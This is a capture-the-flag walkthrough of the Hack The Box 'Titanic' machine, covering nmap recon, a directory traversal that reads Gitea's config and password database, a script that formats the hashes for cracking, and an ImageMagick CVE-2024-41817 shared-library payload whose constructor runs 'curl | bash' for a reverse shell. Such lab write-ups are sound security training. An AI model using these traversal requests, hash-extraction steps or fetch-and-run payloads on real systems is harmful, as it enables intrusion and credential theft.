Introduction to Titanic

In this write-up, we will explore the Titanic machine from Hack The Box, categorised as an Easy difficulty challenge. This walkthrough will cover reconnaissance, exploitation, and privilege escalation steps required to capture the user and root flags.

Objective on Titanic

The goal of this walkthrough is to complete the Titanic machine from Hack The Box by achieving the following objectives:

User Flag

We obtained the user flag by exploiting a directory traversal vulnerability in the web application’s download endpoint. This allowed us to access the Gitea configuration file and database, from which we extracted and cracked the developer user’s password hash. Using the credentials, we gained SSH access as the developer user and retrieved the user.txt flag.

Root Flag

Privilege escalation to root involved exploiting a vulnerable ImageMagick version (CVE-2024-41817) in a script that processed files in a writable directory. By crafting a malicious shared library, we executed arbitrary commands to copy the root flag to a readable location. Additionally, we discovered the developer user had unrestricted sudo privileges, providing an alternative path to root access and the root.txt flag.

Enumerating the Machine

Reconnaissance: Nmap Scan

We begin by scanning the target to identify open ports and services using Nmap:

nmap -sSCV -p- --min-rate 10000 10.10.11.55 -oN nmap_initial.txt

nmap -sSCV -p- --min-rate 10000 10.10.11.55 -oN nmap_initial.txt

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/titanic]
└──╼ $nmap -sC -sV -oA initial 10.10.11.55
# Nmap 7.94SVN scan initiated Wed Jun 18 11:46:00 2025 as: nmap -sC -sV -oA initial 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 18 11:46:33 2025 -- 1 IP address (1 host up) scanned in 33.24 seconds

┌─[dark@parrot]─[~/Documents/htb/titanic]
└──╼ $nmap -sC -sV -oA initial 10.10.11.55
# Nmap 7.94SVN scan initiated Wed Jun 18 11:46:00 2025 as: nmap -sC -sV -oA initial 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 18 11:46:33 2025 -- 1 IP address (1 host up) scanned in 33.24 seconds

Analysis:

• 22/tcp (SSH): Potential foothold via credentialed access or post-exploitation pivot through OpenSSH 8.9p1.
• 80/tcp (HTTP): Primary attack surface — Titanic Booking System web app may expose vulnerabilities for initial compromise.

Web Enumeration on Titanic Machine

Web Application Exploration

Visiting http://titanic.htb displays a booking form on the main page.

Let’s proceed to book our trip using the form shown above.

The screenshot above shows the request and response captured in Burp Suite.

I noticed that in the previous response packet, there was a /download?ticket=*.json file, which provided information about the earlier booking

Testing the endpoint revealed it is vulnerable to directory traversal, allowing access to sensitive files such as /etc/passwd

We were also able to retrieve the user.txt file using this method.

We can also access the /etc/hosts file, which reveals an additional subdomain.

By exploiting the directory traversal vulnerability through the request
http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini,
We successfully retrieved the Gitea configuration file (app.ini), which disclosed the path to the database located at /home/developer/gitea/data/gitea/gitea.db

We located the database at the path revealed above

Let’s retrieve the database.

The hashes can be viewed in DB Browser for SQLite, where I found only two users with hashes stored.

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
  digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
  salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
  name=$(echo "$data" | cut -d'|' -f3)
  echo "${name}:sha256:50000:${salt}:${digest}" >> gitea.hash
done

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
  digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
  salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
  name=$(echo "$data" | cut -d'|' -f3)
  echo "${name}:sha256:50000:${salt}:${digest}" >> gitea.hash
done

We extract and format them for cracking

Each line contains a scrambled version of a user’s password. The system uses a method called SHA256 and scrambles the password 50,000 times to make it tougher for anyone to guess. The hash format will resemble the example shown above.

To figure out the actual password, we use a tool named Hashcat. It tries lots of different passwords, scrambles them the same way, and checks if any match the scrambled version we have. When it finds a match, that means it has discovered the original password.

Understanding PBKDF2-SHA256: How Passwords Are Securely Protected

The cracked hash belongs to the developer account. The password is protected using something called PBKDF2-SHA256 with 50,000 rounds. That means the password is scrambled and mixed up 50,000 times to make it really hard for anyone to guess or crack it quickly. This process slows down attackers a lot, so even if they try many passwords, it takes a long time to check each one. It’s a way to keep passwords safe and secure.

After a period of processing, the hash was successfully cracked.

The successfully cracked hash corresponds to the developer account.

With the credentials, we establish an SSH connection

We can retrieve the user flag by executing the command above.

Escalate to Root Privileges Access on Titanic Machine

Privilege Escalation

As a standard practice, we check for binaries with elevated privileges by running sudo -l. Sadly, we did not find any binaries with elevated privileges.

Additionally, the process list (ps -ef) did not reveal any useful information.

We proceed to enumerate the contents of the /opt directory.

During system enumeration, we identified a script located at /opt/scripts/identify_images.sh that utilises ImageMagick to process files within /opt/app/static/assets/images/, a directory writable by the developer user. Verification of the ImageMagick version confirmed it is susceptible to CVE-2024-41817, a vulnerability that enables arbitrary code execution through malicious shared libraries.

CVE-2024-41817 Explained: How ImageMagick’s Flaw Enables Code Execution

CVE-2024-41817 is a critical vulnerability found in certain versions of ImageMagick, a widely used image processing software. This flaw allows attackers to execute arbitrary code on the system by tricking ImageMagick into loading malicious shared libraries during image processing. Exploiting this vulnerability can lead to full system compromise, especially if the software runs with elevated privileges or processes files in writable directories.

The script identify_image.sh failed to write to metadata.log due to insufficient permissions (Permission denied on line 3).

I discovered that ImageMagick is installed on the target machine. ImageMagick is a free, open-source software suite widely used for editing and manipulating digital images. It enables users to create, edit, compose, or convert bitmap images and supports numerous file formats, including JPEG, PNG, GIF, TIFF, and Ultra HDR.

I identified that ImageMagick version 7.1.1-35 is installed on the machine. I researched known vulnerabilities for this specific version and discovered it is affected by CVE-2024-41817.

CVE-2024-41817 impacts ImageMagick — a free, open-source software suite for editing and manipulating digital images. The vulnerability arises in the AppImage version, where ImageMagick may use an empty path when setting the MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables during execution. This flaw can allow an attacker to execute arbitrary code by loading malicious configuration files or shared libraries from the current working directory.

After some time, we crafted a bash reverse shell command.

After that, we started a listener to capture the incoming reverse shell connection.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include 
#include 
#include 
__attribute__((constructor)) void init(){
    system("curl / | bash");
    exit(0);
}
EOF

We can invoke the file and execute it using bash.

The Python server confirmed that the file transfer was successful.

The operation completed successfully.

We can retrieve the root flag by executing the command above.